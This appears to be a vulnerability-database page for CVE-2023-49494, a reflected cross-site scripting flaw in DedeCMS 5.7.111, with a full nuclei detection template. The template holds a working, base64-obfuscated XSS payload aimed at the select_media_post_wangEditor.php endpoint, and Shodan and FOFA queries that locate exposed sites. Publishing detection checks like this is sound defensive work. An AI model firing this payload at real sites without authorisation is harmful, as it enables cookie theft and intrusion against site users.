HexBrain

Browse / CVEs / CVE-2023-49494

CVE-2023-49494· dedecms / dedecms· CWE-79

DedeCMS v5.7.111 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.

Impact

Successful exploitation could lead to unauthorized access or data theft.

Fix

Apply the vendor-supplied patch or upgrade to a non-vulnerable version.

How to confirm it

Send: GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus…
Positive when: contains "\"data\":{\"url\":" and "<input onfocus=eval(atob(this.id)) id=" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-49494 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-49494

info:
  name: DedeCMS v5.7.111 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/Hebing123/cve/issues/3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49494
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49494
    cwe-id: CWE-79
    epss-score: 0.01147
    epss-percentile: 0.67054
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.111:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,xss,vuln

http:
  - raw:
      - |
        GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":{"url":'
          - '<input onfocus=eval(atob(this.id)) id='
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from